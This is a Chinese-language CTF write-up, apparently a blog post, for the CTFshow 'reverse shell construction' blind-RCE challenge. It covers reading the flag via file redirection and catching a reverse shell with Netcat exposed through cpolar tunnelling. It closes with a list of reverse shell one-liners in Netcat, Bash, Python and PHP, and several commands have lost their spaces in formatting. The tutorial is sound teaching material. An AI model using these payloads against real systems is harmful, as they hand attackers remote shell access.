CTFshow Web 入门|反弹 Shell 构造超详细 Writeup(Netcat+cpolar+无公网 IP 解决方案)

📅 2026/7/3 12:41:05 👁️ 阅读次数 📝 编程学习
CTFshow Web 入门|反弹 Shell 构造超详细 Writeup(Netcat+cpolar+无公网 IP 解决方案)

CTFshow Web 入门 | 反弹 Shell 构造超详细 Writeup(附 Netcat 安装 + cpolar 内网穿透 + 全流程图解)

📌 本文适合人群:CTF 新手、Web 安全初学者、渗透测试学习者
📌 阅读时间:10 分钟
📌 难度:⭐⭐(入门)


📖 前言

最近在刷CTFshow Web 入门时,做到「反弹 Shell 构造」这道题,发现网上很多 Writeup 都只是给出一个 Payload:

nc-cshIP PORT

却没有解释:

  • 为什么需要反弹 Shell?
  • 为什么没有公网 IP 就连不上?
  • Netcat 怎么安装?
  • cpolar 怎么配置?
  • 为什么 nc 一直 Listening?
  • 为什么显示 127.0.0.1?

导致很多刚接触 Web 安全的同学完全照着做也成功不了。

因此写下这篇文章,从 0 开始,带大家完成整个反弹 Shell 的过程

文章不仅讲如何做题,更会讲清楚每一步背后的原理。


📑 目录

  • 一、题目分析
  • 二、两种解题思路
  • 三、方法一:写文件读取 Flag
  • 四、方法二:反弹 Shell(重点)
  • 五、Netcat 安装
  • 六、cpolar 内网穿透配置
  • 七、完整反弹流程
  • 八、常见问题排查
  • 九、常用 Payload 汇总
  • 十、总结

一、题目信息

项目内容
平台CTFshow
题目反弹 Shell 构造
类型无回显 RCE
难度⭐⭐
知识点RCE、反弹 Shell、内网穿透

页面提供一个 Shell 执行框。

无论输入什么命令,都只返回:

execute success!

不会显示任何输出。

因此,这是典型的:

无回显命令执行(Blind RCE)


二、解题思路

对于这种题,一般有两种方法。

方法一:文件写入(推荐新手)

利用 Linux 重定向:

>

把执行结果写入网站目录。

浏览器再访问 txt 文件即可。

优点:

✅ 简单
✅ 不需要任何工具

缺点:

❌ 学不到反弹 Shell


方法二:反弹 Shell(推荐)

让靶机主动连接我们的电脑。

获得一个真正的 Shell。

优点:

✅ 实战最常见
✅ 可以执行任意命令


三、方法一:写文件读取 Flag

① 查看目录

执行:

ls>1.txt

浏览器访问:

https://你的题目地址/1.txt

结果:

index.php flag.php

② 查看 Flag

执行:

catflag.php>1.txt

刷新浏览器即可看到:

<?php$flag="CTF{reverse_shell_use_nc}";

整个过程仅需几十秒。


四、为什么要反弹 Shell?

很多同学第一次都会问:

为什么不能直接执行命令?

因为:

执行结果没有回显。

例如:

ls

服务器虽然执行成功了。

但是:

浏览器 ↓ execute success!

你根本不知道执行结果。

所以必须:

让服务器主动把 Shell 发回来。

流程如下:

浏览器 │ ▼ RCE漏洞 │ ▼ 靶机执行 nc │ ▼ 连接你的电脑 │ ▼ 获得交互式 Shell

五、为什么需要内网穿透?

很多同学认为:

我本机开 nc 不就行了吗?

事实上:

你的电脑一般都是:

192.168.x.x 10.x.x.x

这些都是:

内网 IP

公网服务器无法直接访问。

因此需要:

CTF靶机 ↓ cpolar公网服务器 ↓ 你的电脑 ↓ Netcat监听

所以:

cpolar 的作用就是把你的电脑暴露到公网。


六、工具准备

需要两个工具:

工具作用
Netcat接收反弹 Shell
cpolar内网穿透

七、安装 Netcat

方法一(推荐)

下载:

https://eternallybored.org/misc/netcat/

得到:

nc.exe

方法二(更推荐)

安装:

Nmap

安装时勾选:

  • Ncat
  • Register PATH

验证:

ncat--version

监听:

nc-lvvp4444

参数:

参数说明
-lListen
-vVerbose
-pPort

八、配置 cpolar

官网:

https://www.cpolar.com

安装完成:

配置 Token:

cpolar authtoken 你的Token

启动:

cpolar tcp 4444

得到:

tcp://27.tcp.cpolar.top:13777

其中:

公网域名:

27.tcp.cpolar.top

公网端口:

13777

九、完整反弹流程

第一步

开启 cpolar:

cpolar tcp 4444

第二步

开启 nc:

nc-lvvp4444

看到:

Listening on 4444...

第三步

靶机执行:

nc-csh27.tcp.cpolar.top13777

第四步

收到连接:

connect to [127.0.0.1] from kubernetes.docker.internal

很多人疑惑:

为什么不是靶机 IP?

原因:

靶机 ↓ cpolar服务器 ↓ 本地cpolar客户端 ↓ nc

真正连接 nc 的其实是:

127.0.0.1

这是正常现象。


第五步

执行:

lscatflag.php

即可得到:

CTF{reverse_shell_use_nc}

十、常见问题

❓ nc 一直 Listening?

检查:

  • cpolar 是否 online
  • IP 是否正确
  • 端口是否正确

❓ bash /dev/tcp 不行?

因为:

sh dash

不支持:

/dev/tcp

建议:

nc

❓ Shell 不能交互?

升级:

/bin/bash-i

或者:

python3-c'import pty;pty.spawn("/bin/bash")'

❓ nc 找不到?

进入目录:

cd nc目录.\nc.exe

或者:

配置环境变量。


十一、常见反弹 Payload

Netcat

nc-cshIP PORT
nc-e/bin/sh IP PORT
mkfifo/tmp/fcat/tmp/f|/bin/sh-i2>&1|ncIP PORT>/tmp/f

Bash

bash-i>&/dev/tcp/IP/PORT0>&1

Python

python3-c 'importsocket,subprocess,os;s=socket.socket();s.connect(("IP",PORT));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/bash","-i"])'

PHP

php-r'$sock=fsockopen("IP",PORT); exec("/bin/bash -i <&3 >&3 2>&3");'

📚 总结

本文完整介绍了 CTFshow Web 入门「反弹 Shell 构造」的两种解法:

✅ 文件写入读取 Flag
✅ Netcat 反弹 Shell
✅ cpolar 内网穿透配置
✅ 常见 Payload 汇总
✅ 常见问题排查

建议大家不要只会复制 Payload,而是理解整个数据流:

浏览器 ↓ RCE ↓ 靶机 ↓ 公网 ↓ cpolar ↓ 你的电脑 ↓ Shell

真正理解之后,再遇到任何反弹 Shell 题目,都能够快速分析并解决。


📌 参考资料

  • CTFshow 官方平台
  • Nmap 官方文档
  • Netcat 官方项目
  • cpolar 官方文档

🎯 觉得有帮助的话

如果这篇文章对你有所帮助,欢迎:

⭐ 点赞
📌 收藏
💬 评论交流

你的支持就是我持续更新安全技术博客的最大动力!